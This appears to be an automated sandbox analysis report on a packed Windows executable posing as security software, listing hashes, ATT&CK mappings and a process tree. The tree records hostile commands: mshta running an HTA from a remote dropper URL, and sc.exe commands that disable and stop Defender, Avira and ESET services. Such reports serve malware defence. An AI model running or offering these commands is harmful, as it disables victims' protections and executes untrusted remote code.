3a7c95447f140a42609450d4fbcfbdb398aef5e2399d524d28d603e4d1d5e8d8

General

Target

28ca8ca83bb67295b58b77dbb80459b3.exe
Size

2.2MB
MD5

28ca8ca83bb67295b58b77dbb80459b3
SHA1

8b769a57086dfd7b8f200eabcc50ab2157d2069a
SHA256

3a7c95447f140a42609450d4fbcfbdb398aef5e2399d524d28d603e4d1d5e8d8
SHA512

95d54a7175a39ac3f7d35e7eefee35523c0032756016ae65dbb4149dffa4df96e07ef650af90c038570161af60c761f9408006bb148702ccf8c2216bc7336b99
SSDEEP

49152:L5Gsw9VgDQJ8L4gRUTdGh939Q8hGChOMn13djv/MEql:LJw9VLbgeTsHsChDdD/Ta

Score

10^/10

evasion upx

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.realsecson-line.info/?0=176&1=0&2=1&3=75&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=1111&12=xjhkttcdfu&14=1

Signatures

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 1 IoCs

pid	Process
2868	Protector-lhmy.exe

Loads dropped DLL 2 IoCs

pid	Process
1200	28ca8ca83bb67295b58b77dbb80459b3.exe
1200	28ca8ca83bb67295b58b77dbb80459b3.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1200-15-0x0000000000400000-0x000000000076A000-memory.dmp	upx
behavioral1/memory/1200-4-0x0000000000400000-0x000000000076A000-memory.dmp	upx
behavioral1/memory/1200-2-0x0000000000400000-0x000000000076A000-memory.dmp	upx

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1432	sc.exe
1440	sc.exe
2120	sc.exe
1140	sc.exe
1068	sc.exe
2796	sc.exe
1804	sc.exe
1424	sc.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	28ca8ca83bb67295b58b77dbb80459b3.exe
Token: SeShutdownPrivilege	1200	28ca8ca83bb67295b58b77dbb80459b3.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1200	28ca8ca83bb67295b58b77dbb80459b3.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1200 wrote to memory of 2868	1200	28ca8ca83bb67295b58b77dbb80459b3.exe	17
PID 1200 wrote to memory of 2868	1200	28ca8ca83bb67295b58b77dbb80459b3.exe	17
PID 1200 wrote to memory of 2868	1200	28ca8ca83bb67295b58b77dbb80459b3.exe	17
PID 1200 wrote to memory of 2868	1200	28ca8ca83bb67295b58b77dbb80459b3.exe	17

C:\Users\Admin\AppData\Local\Temp\28ca8ca83bb67295b58b77dbb80459b3.exe
"C:\Users\Admin\AppData\Local\Temp\28ca8ca83bb67295b58b77dbb80459b3.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1200
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\28CA8C~1.EXE" >> NUL
  2⤵
  PID:2668
- C:\Users\Admin\AppData\Roaming\Protector-lhmy.exe
  C:\Users\Admin\AppData\Roaming\Protector-lhmy.exe
  2⤵
  - Executes dropped EXE
  PID:2868
- - C:\Windows\SysWOW64\mshta.exe
    mshta.exe "http://galaint.realsecson-line.info/?0=176&1=0&2=1&3=75&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=1111&12=xjhkttcdfu&14=1"
    3⤵
    PID:1924
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:1440
- - C:\Windows\SysWOW64\sc.exe
    sc config AntiVirSchedulerService start= disabled
    3⤵
    - Launches sc.exe
    PID:2120
- - C:\Windows\SysWOW64\sc.exe
    sc config AntiVirService start= disabled
    3⤵
    - Launches sc.exe
    PID:1140
- - C:\Windows\SysWOW64\sc.exe
    sc stop AntiVirService
    3⤵
    - Launches sc.exe
    PID:1068
- - C:\Windows\SysWOW64\sc.exe
    sc config ekrn start= disabled
    3⤵
    - Launches sc.exe
    PID:2796
- - C:\Windows\SysWOW64\sc.exe
    sc config msmpsvc start= disabled
    3⤵
    - Launches sc.exe
    PID:1804
- - C:\Windows\SysWOW64\sc.exe
    sc stop msmpsvc
    3⤵
    - Launches sc.exe
    PID:1424
- - C:\Windows\SysWOW64\sc.exe
    sc stop WinDefend
    3⤵
    - Launches sc.exe
    PID:1432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Privilege Escalation

Create or Modify System Process

1

T1543

Windows Service

1

T1543.003

Defense Evasion

Impair Defenses

1

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

1

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1200-2-0x0000000000400000-0x000000000076A000-memory.dmp

Filesize
3.4MB

Download
memory/1200-3-0x0000000074BB0000-0x0000000074C29000-memory.dmp

Filesize
484KB

Download
memory/1200-5-0x00000000001F0000-0x00000000001F1000-memory.dmp

Filesize
4KB

Download
memory/1200-1-0x0000000075FF0000-0x0000000076100000-memory.dmp

Filesize
1.1MB

Download
memory/1200-19-0x0000000074BB0000-0x0000000074C29000-memory.dmp

Filesize
484KB

Download
memory/1200-0-0x0000000000400000-0x00000000009B5000-memory.dmp

Filesize
5.7MB

Download
memory/1200-17-0x0000000075FF0000-0x0000000076100000-memory.dmp

Filesize
1.1MB

Download
memory/1200-15-0x0000000000400000-0x000000000076A000-memory.dmp

Filesize
3.4MB

Download
memory/1200-4-0x0000000000400000-0x000000000076A000-memory.dmp

Filesize
3.4MB

Download
memory/2868-18-0x0000000000400000-0x00000000009B5000-memory.dmp

Filesize
5.7MB

Download
memory/2868-20-0x0000000074BB0000-0x0000000074C29000-memory.dmp

Filesize
484KB

Download
memory/2868-21-0x0000000000400000-0x00000000009B5000-memory.dmp

Filesize
5.7MB

Download
memory/2868-25-0x0000000000400000-0x000000000076A000-memory.dmp

Filesize
3.4MB

Download
memory/2868-23-0x0000000000400000-0x000000000076A000-memory.dmp

Filesize
3.4MB

Download
memory/2868-22-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download
memory/2868-41-0x0000000000400000-0x000000000076A000-memory.dmp

Filesize
3.4MB

Download
memory/2868-42-0x0000000004EE0000-0x0000000004F0B000-memory.dmp

Filesize
172KB

Download
memory/2868-43-0x0000000004FD0000-0x0000000004FDB000-memory.dmp

Filesize
44KB

Download
memory/2868-44-0x0000000000400000-0x000000000076A000-memory.dmp

Filesize
3.4MB

Download
memory/2868-45-0x00000000058F0000-0x00000000063AA000-memory.dmp

Filesize
10.7MB

Download
memory/2868-46-0x0000000006700000-0x0000000007762000-memory.dmp

Filesize
16.4MB

Download
memory/2868-48-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing